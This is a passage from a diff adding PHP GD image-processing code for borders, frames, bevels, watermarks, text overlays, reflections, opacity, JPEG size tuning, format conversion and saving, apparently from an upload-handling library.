($ct * (($this->image_dst_x - $x - 1) / $cr)) : 0); + $ib = (int) ($cr > 0 ? ($cb * (($this->image_dst_x - $x - 1) / $cr)) : 0); + for ($y = $it; $y < $this->image_dst_y - $ib; $y++) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $alpha = (1 - ($pixel['alpha'] / 127)) * $opacity / 100; + if ($alpha > 0) { + if ($alpha > 1) $alpha = 1; + $color = imagecolorallocatealpha($tmp, $pixel['red'] , $pixel['green'], $pixel['blue'], round((1 - $alpha) * 127)); + imagesetpixel($tmp, $x, $y, $color); + } + } + if ($opacity > 0) $opacity = $opacity - (100 / $cr); + } + // we now add the bottom border + $opacity = 100; + for ($y = $this->image_dst_y - $cb; $y < $this->image_dst_y; $y++) { + $il = (int) ($cb > 0 ? ($cl * (($this->image_dst_y - $y - 1) / $cb)) : 0); + $ir = (int) ($cb > 0 ? ($cr * (($this->image_dst_y - $y - 1) / $cb)) : 0); + for ($x = $il; $x < $this->image_dst_x - $ir; $x++) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $alpha = (1 - ($pixel['alpha'] / 127)) * $opacity / 100; + if ($alpha > 0) { + if ($alpha > 1) $alpha = 1; + $color = imagecolorallocatealpha($tmp, $pixel['red'] , $pixel['green'], $pixel['blue'], round((1 - $alpha) * 127)); + imagesetpixel($tmp, $x, $y, $color); + } + } + if ($opacity > 0) $opacity = $opacity - (100 / $cb); + } + // we now add the left border + $opacity = 100; + for ($x = $cl - 1; $x >= 0; $x--) { + $it = (int) ($cl > 0 ? ($ct * ($x / $cl)) : 0); + $ib = (int) ($cl > 0 ? ($cb * ($x / $cl)) : 0); + for ($y = $it; $y < $this->image_dst_y - $ib; $y++) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $alpha = (1 - ($pixel['alpha'] / 127)) * $opacity / 100; + if ($alpha > 0) { + if ($alpha > 1) $alpha = 1; + $color = imagecolorallocatealpha($tmp, $pixel['red'] , $pixel['green'], $pixel['blue'], round((1 - $alpha) * 127)); + imagesetpixel($tmp, $x, $y, $color); + } + } + if ($opacity > 0) $opacity = $opacity - (100 / $cl); + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // add frame border + if ($gd_version >= 2 && is_numeric($this->image_frame)) { + if (is_array($this->image_frame_colors)) { + $vars = $this->image_frame_colors; + $this->log .= '- add frame : ' . implode(' ', $this->image_frame_colors) . '
    '; + } else { + $this->log .= '- add frame : ' . $this->image_frame_colors . '
    '; + $vars = explode(' ', $this->image_frame_colors); + } + $nb = sizeof($vars); + $this->image_dst_x = $this->image_dst_x + ($nb * 2); + $this->image_dst_y = $this->image_dst_y + ($nb * 2); + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + imagecopy($tmp, $image_dst, $nb, $nb, 0, 0, $this->image_dst_x - ($nb * 2), $this->image_dst_y - ($nb * 2)); + $opacity = (is_numeric($this->image_frame_opacity) ? (int) (127 - $this->image_frame_opacity / 100 * 127): 0); + for ($i=0; $i<$nb; $i++) { + list($red, $green, $blue) = $this->getcolors($vars[$i]); + $c = imagecolorallocatealpha($tmp, $red, $green, $blue, $opacity); + if ($this->image_frame == 1) { + imageline($tmp, $i, $i, $this->image_dst_x - $i -1, $i, $c); + imageline($tmp, $this->image_dst_x - $i -1, $this->image_dst_y - $i -1, $this->image_dst_x - $i -1, $i, $c); + imageline($tmp, $this->image_dst_x - $i -1, $this->image_dst_y - $i -1, $i, $this->image_dst_y - $i -1, $c); + imageline($tmp, $i, $i, $i, $this->image_dst_y - $i -1, $c); + } else { + imageline($tmp, $i, $i, $this->image_dst_x - $i -1, $i, $c); + imageline($tmp, $this->image_dst_x - $nb + $i, $this->image_dst_y - $nb + $i, $this->image_dst_x - $nb + $i, $nb - $i, $c); + imageline($tmp, $this->image_dst_x - $nb + $i, $this->image_dst_y - $nb + $i, $nb - $i, $this->image_dst_y - $nb + $i, $c); + imageline($tmp, $i, $i, $i, $this->image_dst_y - $i -1, $c); + } + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // add bevel border + if ($gd_version >= 2 && $this->image_bevel > 0) { + if (empty($this->image_bevel_color1)) $this->image_bevel_color1 = '#FFFFFF'; + if (empty($this->image_bevel_color2)) $this->image_bevel_color2 = '#000000'; + list($red1, $green1, $blue1) = $this->getcolors($this->image_bevel_color1); + list($red2, $green2, $blue2) = $this->getcolors($this->image_bevel_color2); + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y); + imagecopy($tmp, $image_dst, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y); + imagealphablending($tmp, true); + for ($i=0; $i<$this->image_bevel; $i++) { + $alpha = round(($i / $this->image_bevel) * 127); + $c1 = imagecolorallocatealpha($tmp, $red1, $green1, $blue1, $alpha); + $c2 = imagecolorallocatealpha($tmp, $red2, $green2, $blue2, $alpha); + imageline($tmp, $i, $i, $this->image_dst_x - $i -1, $i, $c1); + imageline($tmp, $this->image_dst_x - $i -1, $this->image_dst_y - $i, $this->image_dst_x - $i -1, $i, $c2); + imageline($tmp, $this->image_dst_x - $i -1, $this->image_dst_y - $i -1, $i, $this->image_dst_y - $i -1, $c2); + imageline($tmp, $i, $i, $i, $this->image_dst_y - $i -1, $c1); + } + // we transfert tmp into image_dst + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // add watermark image + if ($this->image_watermark!='' && file_exists($this->image_watermark)) { + $this->log .= '- add watermark
    '; + $this->image_watermark_position = strtolower($this->image_watermark_position); + $watermark_info = getimagesize($this->image_watermark); + $watermark_type = (array_key_exists(2, $watermark_info) ? $watermark_info[2] : null); // 1 = GIF, 2 = JPG, 3 = PNG + $watermark_checked = false; + if ($watermark_type == IMAGETYPE_GIF) { + if (!$this->function_enabled('imagecreatefromgif')) { + $this->error = $this->translate('watermark_no_create_support', array('GIF')); + } else { + $filter = @imagecreatefromgif($this->image_watermark); + if (!$filter) { + $this->error = $this->translate('watermark_create_error', array('GIF')); + } else { + $this->log .= '    watermark source image is GIF
    '; + $watermark_checked = true; + } + } + } else if ($watermark_type == IMAGETYPE_JPEG) { + if (!$this->function_enabled('imagecreatefromjpeg')) { + $this->error = $this->translate('watermark_no_create_support', array('JPEG')); + } else { + $filter = @imagecreatefromjpeg($this->image_watermark); + if (!$filter) { + $this->error = $this->translate('watermark_create_error', array('JPEG')); + } else { + $this->log .= '    watermark source image is JPEG
    '; + $watermark_checked = true; + } + } + } else if ($watermark_type == IMAGETYPE_PNG) { + if (!$this->function_enabled('imagecreatefrompng')) { + $this->error = $this->translate('watermark_no_create_support', array('PNG')); + } else { + $filter = @imagecreatefrompng($this->image_watermark); + if (!$filter) { + $this->error = $this->translate('watermark_create_error', array('PNG')); + } else { + $this->log .= '    watermark source image is PNG
    '; + $watermark_checked = true; + } + } + } else if ($watermark_type == IMAGETYPE_BMP) { + if (!method_exists($this, 'imagecreatefrombmp')) { + $this->error = $this->translate('watermark_no_create_support', array('BMP')); + } else { + $filter = @$this->imagecreatefrombmp($this->image_watermark); + if (!$filter) { + $this->error = $this->translate('watermark_create_error', array('BMP')); + } else { + $this->log .= '    watermark source image is BMP
    '; + $watermark_checked = true; + } + } + } else { + $this->error = $this->translate('watermark_invalid'); + } + if ($watermark_checked) { + $watermark_dst_width = $watermark_src_width = imagesx($filter); + $watermark_dst_height = $watermark_src_height = imagesy($filter); + + // if watermark is too large/tall, resize it first + if ((!$this->image_watermark_no_zoom_out && ($watermark_dst_width > $this->image_dst_x || $watermark_dst_height > $this->image_dst_y)) + || (!$this->image_watermark_no_zoom_in && $watermark_dst_width < $this->image_dst_x && $watermark_dst_height < $this->image_dst_y)) { + $canvas_width = $this->image_dst_x - abs($this->image_watermark_x); + $canvas_height = $this->image_dst_y - abs($this->image_watermark_y); + if (($watermark_src_width/$canvas_width) > ($watermark_src_height/$canvas_height)) { + $watermark_dst_width = $canvas_width; + $watermark_dst_height = intval($watermark_src_height*($canvas_width / $watermark_src_width)); + } else { + $watermark_dst_height = $canvas_height; + $watermark_dst_width = intval($watermark_src_width*($canvas_height / $watermark_src_height)); + } + $this->log .= '    watermark resized from '.$watermark_src_width.'x'.$watermark_src_height.' to '.$watermark_dst_width.'x'.$watermark_dst_height.'
    '; + + } + // determine watermark position + $watermark_x = 0; + $watermark_y = 0; + if (is_numeric($this->image_watermark_x)) { + if ($this->image_watermark_x < 0) { + $watermark_x = $this->image_dst_x - $watermark_dst_width + $this->image_watermark_x; + } else { + $watermark_x = $this->image_watermark_x; + } + } else { + if (strpos($this->image_watermark_position, 'r') !== false) { + $watermark_x = $this->image_dst_x - $watermark_dst_width; + } else if (strpos($this->image_watermark_position, 'l') !== false) { + $watermark_x = 0; + } else { + $watermark_x = ($this->image_dst_x - $watermark_dst_width) / 2; + } + } + if (is_numeric($this->image_watermark_y)) { + if ($this->image_watermark_y < 0) { + $watermark_y = $this->image_dst_y - $watermark_dst_height + $this->image_watermark_y; + } else { + $watermark_y = $this->image_watermark_y; + } + } else { + if (strpos($this->image_watermark_position, 'b') !== false) { + $watermark_y = $this->image_dst_y - $watermark_dst_height; + } else if (strpos($this->image_watermark_position, 't') !== false) { + $watermark_y = 0; + } else { + $watermark_y = ($this->image_dst_y - $watermark_dst_height) / 2; + } + } + imagealphablending($image_dst, true); + imagecopyresampled($image_dst, $filter, $watermark_x, $watermark_y, 0, 0, $watermark_dst_width, $watermark_dst_height, $watermark_src_width, $watermark_src_height); + } else { + $this->error = $this->translate('watermark_invalid'); + } + } + + // add text + if (!empty($this->image_text)) { + $this->log .= '- add text
    '; + + // calculate sizes in human readable format + $src_size = $this->file_src_size / 1024; + $src_size_mb = number_format($src_size / 1024, 1, ".", " "); + $src_size_kb = number_format($src_size, 1, ".", " "); + $src_size_human = ($src_size > 1024 ? $src_size_mb . " MB" : $src_size_kb . " kb"); + + $this->image_text = str_replace( + array('[src_name]', + '[src_name_body]', + '[src_name_ext]', + '[src_pathname]', + '[src_mime]', + '[src_size]', + '[src_size_kb]', + '[src_size_mb]', + '[src_size_human]', + '[src_x]', + '[src_y]', + '[src_pixels]', + '[src_type]', + '[src_bits]', + '[dst_path]', + '[dst_name_body]', + '[dst_name_ext]', + '[dst_name]', + '[dst_pathname]', + '[dst_x]', + '[dst_y]', + '[date]', + '[time]', + '[host]', + '[server]', + '[ip]', + '[gd_version]'), + array($this->file_src_name, + $this->file_src_name_body, + $this->file_src_name_ext, + $this->file_src_pathname, + $this->file_src_mime, + $this->file_src_size, + $src_size_kb, + $src_size_mb, + $src_size_human, + $this->image_src_x, + $this->image_src_y, + $this->image_src_pixels, + $this->image_src_type, + $this->image_src_bits, + $this->file_dst_path, + $this->file_dst_name_body, + $this->file_dst_name_ext, + $this->file_dst_name, + $this->file_dst_pathname, + $this->image_dst_x, + $this->image_dst_y, + date('Y-m-d'), + date('H:i:s'), + (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'n/a'), + (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'n/a'), + (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'n/a'), + $this->gdversion(true)), + $this->image_text); + + if (!is_numeric($this->image_text_padding)) $this->image_text_padding = 0; + if (!is_numeric($this->image_text_line_spacing)) $this->image_text_line_spacing = 0; + if (!is_numeric($this->image_text_padding_x)) $this->image_text_padding_x = $this->image_text_padding; + if (!is_numeric($this->image_text_padding_y)) $this->image_text_padding_y = $this->image_text_padding; + $this->image_text_position = strtolower($this->image_text_position); + $this->image_text_direction = strtolower($this->image_text_direction); + $this->image_text_alignment = strtolower($this->image_text_alignment); + + $font_type = 'gd'; + + // if the font is a string with a GDF font path, we assume that we might want to load a font + if (!is_numeric($this->image_text_font) && strlen($this->image_text_font) > 4 && substr(strtolower($this->image_text_font), -4) == '.gdf') { + if (strpos($this->image_text_font, '/') === false) $this->image_text_font = "./" . $this->image_text_font; + $this->log .= '    try to load font ' . $this->image_text_font . '... '; + if ($this->image_text_font = @imageloadfont($this->image_text_font)) { + $this->log .= 'success
    '; + } else { + $this->log .= 'error
    '; + $this->image_text_font = 5; + } + } + + // if the font is a string with a TTF font path, we check if we can access the font file + if (!is_numeric($this->image_text_font) && strlen($this->image_text_font) > 4 && substr(strtolower($this->image_text_font), -4) == '.ttf') { + $this->log .= '    try to load font ' . $this->image_text_font . '... '; + if (strpos($this->image_text_font, '/') === false) $this->image_text_font = "./" . $this->image_text_font; + if (file_exists($this->image_text_font) && is_readable($this->image_text_font)) { + $this->log .= 'success
    '; + $font_type = 'tt'; + } else { + $this->log .= 'error
    '; + $this->image_text_font = 5; + } + } + + // get the text bounding box (GD fonts) + if ($font_type == 'gd') { + $text = explode("\n", $this->image_text); + $char_width = imagefontwidth($this->image_text_font); + $char_height = imagefontheight($this->image_text_font); + $text_height = 0; + $text_width = 0; + $line_height = 0; + $line_width = 0; + foreach ($text as $k => $v) { + if ($this->image_text_direction == 'v') { + $h = ($char_width * strlen($v)); + if ($h > $text_height) $text_height = $h; + $line_width = $char_height; + $text_width += $line_width + ($k < (sizeof($text)-1) ? $this->image_text_line_spacing : 0); + } else { + $w = ($char_width * strlen($v)); + if ($w > $text_width) $text_width = $w; + $line_height = $char_height; + $text_height += $line_height + ($k < (sizeof($text)-1) ? $this->image_text_line_spacing : 0); + } + } + $text_width += (2 * $this->image_text_padding_x); + $text_height += (2 * $this->image_text_padding_y); + + // get the text bounding box (TrueType fonts) + } else if ($font_type == 'tt') { + $text = $this->image_text; + if (!$this->image_text_angle) $this->image_text_angle = $this->image_text_direction == 'v' ? 90 : 0; + $text_height = 0; + $text_width = 0; + $text_offset_x = 0; + $text_offset_y = 0; + $rect = imagettfbbox($this->image_text_size, $this->image_text_angle, $this->image_text_font, $text ); + if ($rect) { + $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6])); + $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6])); + $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7])); + $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7])); + $text_offset_x = abs($minX) - 1; + $text_offset_y = abs($minY) - 1; + $text_width = $maxX - $minX + (2 * $this->image_text_padding_x); + $text_height = $maxY - $minY + (2 * $this->image_text_padding_y); + } + } + + // position the text block + $text_x = 0; + $text_y = 0; + if (is_numeric($this->image_text_x)) { + if ($this->image_text_x < 0) { + $text_x = $this->image_dst_x - $text_width + $this->image_text_x; + } else { + $text_x = $this->image_text_x; + } + } else { + if (strpos($this->image_text_position, 'r') !== false) { + $text_x = $this->image_dst_x - $text_width; + } else if (strpos($this->image_text_position, 'l') !== false) { + $text_x = 0; + } else { + $text_x = ($this->image_dst_x - $text_width) / 2; + } + } + if (is_numeric($this->image_text_y)) { + if ($this->image_text_y < 0) { + $text_y = $this->image_dst_y - $text_height + $this->image_text_y; + } else { + $text_y = $this->image_text_y; + } + } else { + if (strpos($this->image_text_position, 'b') !== false) { + $text_y = $this->image_dst_y - $text_height; + } else if (strpos($this->image_text_position, 't') !== false) { + $text_y = 0; + } else { + $text_y = ($this->image_dst_y - $text_height) / 2; + } + } + + // add a background, maybe transparent + if (!empty($this->image_text_background)) { + list($red, $green, $blue) = $this->getcolors($this->image_text_background); + if ($gd_version >= 2 && (is_numeric($this->image_text_background_opacity)) && $this->image_text_background_opacity >= 0 && $this->image_text_background_opacity <= 100) { + $filter = imagecreatetruecolor($text_width, $text_height); + $background_color = imagecolorallocate($filter, $red, $green, $blue); + imagefilledrectangle($filter, 0, 0, $text_width, $text_height, $background_color); + $this->imagecopymergealpha($image_dst, $filter, $text_x, $text_y, 0, 0, $text_width, $text_height, $this->image_text_background_opacity); + imagedestroy($filter); + } else { + $background_color = imagecolorallocate($image_dst ,$red, $green, $blue); + imagefilledrectangle($image_dst, $text_x, $text_y, $text_x + $text_width, $text_y + $text_height, $background_color); + } + } + + $text_x += $this->image_text_padding_x; + $text_y += $this->image_text_padding_y; + $t_width = $text_width - (2 * $this->image_text_padding_x); + $t_height = $text_height - (2 * $this->image_text_padding_y); + list($red, $green, $blue) = $this->getcolors($this->image_text_color); + + // add the text, maybe transparent + if ($gd_version >= 2 && (is_numeric($this->image_text_opacity)) && $this->image_text_opacity >= 0 && $this->image_text_opacity <= 100) { + if ($t_width < 0) $t_width = 0; + if ($t_height < 0) $t_height = 0; + $filter = $this->imagecreatenew($t_width, $t_height, false, true); + $text_color = imagecolorallocate($filter ,$red, $green, $blue); + + if ($font_type == 'gd') { + foreach ($text as $k => $v) { + if ($this->image_text_direction == 'v') { + imagestringup($filter, + $this->image_text_font, + $k * ($line_width + ($k > 0 && $k < (sizeof($text)) ? $this->image_text_line_spacing : 0)), + $text_height - (2 * $this->image_text_padding_y) - ($this->image_text_alignment == 'l' ? 0 : (($t_height - strlen($v) * $char_width) / ($this->image_text_alignment == 'r' ? 1 : 2))) , + $v, + $text_color); + } else { + imagestring($filter, + $this->image_text_font, + ($this->image_text_alignment == 'l' ? 0 : (($t_width - strlen($v) * $char_width) / ($this->image_text_alignment == 'r' ? 1 : 2))), + $k * ($line_height + ($k > 0 && $k < (sizeof($text)) ? $this->image_text_line_spacing : 0)), + $v, + $text_color); + } + } + } else if ($font_type == 'tt') { + imagettftext($filter, + $this->image_text_size, + $this->image_text_angle, + $text_offset_x, + $text_offset_y, + $text_color, + $this->image_text_font, + $text); + } + $this->imagecopymergealpha($image_dst, $filter, $text_x, $text_y, 0, 0, $t_width, $t_height, $this->image_text_opacity); + imagedestroy($filter); + + } else { + $text_color = imagecolorallocate($image_dst ,$red, $green, $blue); + if ($font_type == 'gd') { + foreach ($text as $k => $v) { + if ($this->image_text_direction == 'v') { + imagestringup($image_dst, + $this->image_text_font, + $text_x + $k * ($line_width + ($k > 0 && $k < (sizeof($text)) ? $this->image_text_line_spacing : 0)), + $text_y + $text_height - (2 * $this->image_text_padding_y) - ($this->image_text_alignment == 'l' ? 0 : (($t_height - strlen($v) * $char_width) / ($this->image_text_alignment == 'r' ? 1 : 2))), + $v, + $text_color); + } else { + imagestring($image_dst, + $this->image_text_font, + $text_x + ($this->image_text_alignment == 'l' ? 0 : (($t_width - strlen($v) * $char_width) / ($this->image_text_alignment == 'r' ? 1 : 2))), + $text_y + $k * ($line_height + ($k > 0 && $k < (sizeof($text)) ? $this->image_text_line_spacing : 0)), + $v, + $text_color); + } + } + } else if ($font_type == 'tt') { + imagettftext($image_dst, + $this->image_text_size, + $this->image_text_angle, + $text_offset_x + ($this->image_dst_x / 2) - ($text_width / 2) + $this->image_text_padding_x, + $text_offset_y + ($this->image_dst_y / 2) - ($text_height / 2) + $this->image_text_padding_y, + $text_color, + $this->image_text_font, + $text); + } + } + } + + // add a reflection + if ($this->image_reflection_height) { + $this->log .= '- add reflection : ' . $this->image_reflection_height . '
    '; + // we decode image_reflection_height, which can be a integer, a string in pixels or percentage + $image_reflection_height = $this->image_reflection_height; + if (strpos($image_reflection_height, '%')>0) $image_reflection_height = $this->image_dst_y * (str_replace('%','',$image_reflection_height / 100)); + if (strpos($image_reflection_height, 'px')>0) $image_reflection_height = str_replace('px','',$image_reflection_height); + $image_reflection_height = (int) $image_reflection_height; + if ($image_reflection_height > $this->image_dst_y) $image_reflection_height = $this->image_dst_y; + if (empty($this->image_reflection_opacity)) $this->image_reflection_opacity = 60; + // create the new destination image + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y + $image_reflection_height + $this->image_reflection_space, true); + $transparency = $this->image_reflection_opacity; + + // copy the original image + imagecopy($tmp, $image_dst, 0, 0, 0, 0, $this->image_dst_x, $this->image_dst_y + ($this->image_reflection_space < 0 ? $this->image_reflection_space : 0)); + + // we have to make sure the extra bit is the right color, or transparent + if ($image_reflection_height + $this->image_reflection_space > 0) { + // use the background color if present + if (!empty($this->image_background_color)) { + list($red, $green, $blue) = $this->getcolors($this->image_background_color); + $fill = imagecolorallocate($tmp, $red, $green, $blue); + } else { + $fill = imagecolorallocatealpha($tmp, 0, 0, 0, 127); + } + // fill in from the edge of the extra bit + imagefill($tmp, round($this->image_dst_x / 2), $this->image_dst_y + $image_reflection_height + $this->image_reflection_space - 1, $fill); + } + + // copy the reflection + for ($y = 0; $y < $image_reflection_height; $y++) { + for ($x = 0; $x < $this->image_dst_x; $x++) { + $pixel_b = imagecolorsforindex($tmp, imagecolorat($tmp, $x, $y + $this->image_dst_y + $this->image_reflection_space)); + $pixel_o = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $this->image_dst_y - $y - 1 + ($this->image_reflection_space < 0 ? $this->image_reflection_space : 0))); + $alpha_o = 1 - ($pixel_o['alpha'] / 127); + $alpha_b = 1 - ($pixel_b['alpha'] / 127); + $opacity = $alpha_o * $transparency / 100; + if ($opacity > 0) { + $red = round((($pixel_o['red'] * $opacity) + ($pixel_b['red'] ) * $alpha_b) / ($alpha_b + $opacity)); + $green = round((($pixel_o['green'] * $opacity) + ($pixel_b['green']) * $alpha_b) / ($alpha_b + $opacity)); + $blue = round((($pixel_o['blue'] * $opacity) + ($pixel_b['blue'] ) * $alpha_b) / ($alpha_b + $opacity)); + $alpha = ($opacity + $alpha_b); + if ($alpha > 1) $alpha = 1; + $alpha = round((1 - $alpha) * 127); + $color = imagecolorallocatealpha($tmp, $red, $green, $blue, $alpha); + imagesetpixel($tmp, $x, $y + $this->image_dst_y + $this->image_reflection_space, $color); + } + } + if ($transparency > 0) $transparency = $transparency - ($this->image_reflection_opacity / $image_reflection_height); + } + + // copy the resulting image into the destination image + $this->image_dst_y = $this->image_dst_y + $image_reflection_height + $this->image_reflection_space; + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // change opacity + if ($gd_version >= 2 && is_numeric($this->image_opacity) && $this->image_opacity < 100) { + $this->log .= '- change opacity
    '; + // create the new destination image + $tmp = $this->imagecreatenew($this->image_dst_x, $this->image_dst_y, true); + for($y=0; $y < $this->image_dst_y; $y++) { + for($x=0; $x < $this->image_dst_x; $x++) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $alpha = $pixel['alpha'] + round((127 - $pixel['alpha']) * (100 - $this->image_opacity) / 100); + if ($alpha > 127) $alpha = 127; + if ($alpha > 0) { + $color = imagecolorallocatealpha($tmp, $pixel['red'] , $pixel['green'], $pixel['blue'], $alpha); + imagesetpixel($tmp, $x, $y, $color); + } + } + } + // copy the resulting image into the destination image + $image_dst = $this->imagetransfer($tmp, $image_dst); + } + + // reduce the JPEG image to a set desired size + if (is_numeric($this->jpeg_size) && $this->jpeg_size > 0 && ($this->image_convert == 'jpeg' || $this->image_convert == 'jpg')) { + // inspired by: JPEGReducer class version 1, 25 November 2004, Author: Huda M ElMatsani, justhuda at netscape dot net + $this->log .= '- JPEG desired file size : ' . $this->jpeg_size . '
    '; + // calculate size of each image. 75%, 50%, and 25% quality + ob_start(); imagejpeg($image_dst,null,75); $buffer = ob_get_contents(); ob_end_clean(); + $size75 = strlen($buffer); + ob_start(); imagejpeg($image_dst,null,50); $buffer = ob_get_contents(); ob_end_clean(); + $size50 = strlen($buffer); + ob_start(); imagejpeg($image_dst,null,25); $buffer = ob_get_contents(); ob_end_clean(); + $size25 = strlen($buffer); + + // make sure we won't divide by 0 + if ($size50 == $size25) $size50++; + if ($size75 == $size50 || $size75 == $size25) $size75++; + + // calculate gradient of size reduction by quality + $mgrad1 = 25 / ($size50-$size25); + $mgrad2 = 25 / ($size75-$size50); + $mgrad3 = 50 / ($size75-$size25); + $mgrad = ($mgrad1 + $mgrad2 + $mgrad3) / 3; + // result of approx. quality factor for expected size + $q_factor = round($mgrad * ($this->jpeg_size - $size50) + 50); + + if ($q_factor<1) { + $this->jpeg_quality=1; + } elseif ($q_factor>100) { + $this->jpeg_quality=100; + } else { + $this->jpeg_quality=$q_factor; + } + $this->log .= '    JPEG quality factor set to ' . $this->jpeg_quality . '
    '; + } + + // converts image from true color, and fix transparency if needed + $this->log .= '- converting...
    '; + $this->image_dst_type = $this->image_convert; + switch($this->image_convert) { + case 'gif': + // if the image is true color, we convert it to a palette + if (imageistruecolor($image_dst)) { + $this->log .= '    true color to palette
    '; + // creates a black and white mask + $mask = array(array()); + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++) { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $mask[$x][$y] = $pixel['alpha']; + } + } + list($red, $green, $blue) = $this->getcolors($this->image_default_color); + // first, we merge the image with the background color, so we know which colors we will have + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++) { + if ($mask[$x][$y] > 0){ + // we have some transparency. we combine the color with the default color + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + $alpha = ($mask[$x][$y] / 127); + $pixel['red'] = round(($pixel['red'] * (1 -$alpha) + $red * ($alpha))); + $pixel['green'] = round(($pixel['green'] * (1 -$alpha) + $green * ($alpha))); + $pixel['blue'] = round(($pixel['blue'] * (1 -$alpha) + $blue * ($alpha))); + $color = imagecolorallocate($image_dst, $pixel['red'], $pixel['green'], $pixel['blue']); + imagesetpixel($image_dst, $x, $y, $color); + } + } + } + // transforms the true color image into palette, with its merged default color + if (empty($this->image_background_color)) { + imagetruecolortopalette($image_dst, true, 255); + $transparency = imagecolorallocate($image_dst, 254, 1, 253); + imagecolortransparent($image_dst, $transparency); + // make the transparent areas transparent + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++) { + // we test wether we have enough opacity to justify keeping the color + if ($mask[$x][$y] > 120) imagesetpixel($image_dst, $x, $y, $transparency); + } + } + } + unset($mask); + } + break; + case 'jpg': + case 'bmp': + // if the image doesn't support any transparency, then we merge it with the default color + $this->log .= '    fills in transparency with default color
    '; + list($red, $green, $blue) = $this->getcolors($this->image_default_color); + $transparency = imagecolorallocate($image_dst, $red, $green, $blue); + // make the transaparent areas transparent + for ($x = 0; $x < $this->image_dst_x; $x++) { + for ($y = 0; $y < $this->image_dst_y; $y++) { + // we test wether we have some transparency, in which case we will merge the colors + if (imageistruecolor($image_dst)) { + $rgba = imagecolorat($image_dst, $x, $y); + $pixel = array('red' => ($rgba >> 16) & 0xFF, + 'green' => ($rgba >> 8) & 0xFF, + 'blue' => $rgba & 0xFF, + 'alpha' => ($rgba & 0x7F000000) >> 24); + } else { + $pixel = imagecolorsforindex($image_dst, imagecolorat($image_dst, $x, $y)); + } + if ($pixel['alpha'] == 127) { + // we have full transparency. we make the pixel transparent + imagesetpixel($image_dst, $x, $y, $transparency); + } else if ($pixel['alpha'] > 0) { + // we have some transparency. we combine the color with the default color + $alpha = ($pixel['alpha'] / 127); + $pixel['red'] = round(($pixel['red'] * (1 -$alpha) + $red * ($alpha))); + $pixel['green'] = round(($pixel['green'] * (1 -$alpha) + $green * ($alpha))); + $pixel['blue'] = round(($pixel['blue'] * (1 -$alpha) + $blue * ($alpha))); + $color = imagecolorclosest($image_dst, $pixel['red'], $pixel['green'], $pixel['blue']); + imagesetpixel($image_dst, $x, $y, $color); + } + } + } + + break; + default: + break; + } + + // interlace options + if($this->image_interlace) imageinterlace($image_dst, true); + + // outputs image + $this->log .= '- saving image...
    '; + switch($this->image_convert) { + case 'jpeg': + case 'jpg': + if (!$return_mode) { + $result = @imagejpeg($image_dst, $this->file_dst_pathname, $this->jpeg_quality); + } else { + ob_start(); + $result = @imagejpeg($image_dst, null, $this->jpeg_quality); + $return_content = ob_get_contents(); + ob_end_clean(); + } + if (!$result) { + $this->processed = false; + $this->error = $this->translate('file_create', array('JPEG')); + } else { + $this->log .= '    JPEG image created
    '; + } + break; + case 'png': + imagealphablending( $image_dst, false ); + imagesavealpha( $image_dst, true ); + if (!$return_mode) { + if (is_numeric($this->png_compression) && version_compare(PHP_VERSION, '5.1.2') >= 0) { + $result = @imagepng($image_dst, $this->file_dst_pathname, $this->png_compression); + } else { + $result = @imagepng($image_dst, $this->file_dst_pathname); + } + } else { + ob_start(); + if (is_numeric($this->png_compression) && version_compare(PHP_VERSION, '5.1.2') >= 0) { + $result = @imagepng($image_dst, null, $this->png_compression); + } else { + $result = @imagepng($image_dst); + } + $return_content = ob_get_contents(); + ob_end_clean(); + } + if (!$result) { + $this->processed = false; + $this->error = $this->translate('file_create', array('PNG')); + } else { + $this->log .= '    PNG image created
    '; + } + break; + case 'gif': + if (!$return_mode) { + $result = @imagegif($image_dst, $this->file_dst_pathname); + } else { + ob_start(); + $result = @imagegif($image_dst); + $return_content = ob_get_contents(); + ob_end_clean(); + } + if (!$result) { + $this->processed = false; + $this->error = $this->translate('file_create', array('GIF')); + } else { + $this->log .= '    GIF image created
    '; + } + break; + case 'bmp': + if (!$return_mode) { + $result = $this->imagebmp($image_dst, $this->file_dst_pathname); + } else { + ob_start(); + $result = $this->imagebmp($image_dst); + $return_content = ob_get_contents(); + ob_end_clean(); + } + if (!$result) { + $this->processed = false; + $this->error = $this->translate('file_create', array('BMP')); + } else { + $this->log .= '    BMP image created
    '; + } + break; + + default: + $this->processed = false; + $this->error = $this->translate('no_conversion_type'); + } + if ($this->processed) { + if (is_resource($image_src)) imagedestroy($image_src); + if (is_resource($image_dst)) imagedestroy($image_dst); + $this->log .= '    image objects destroyed
    '; + } + } + + } else { + $this->log .= '- no image processing wanted
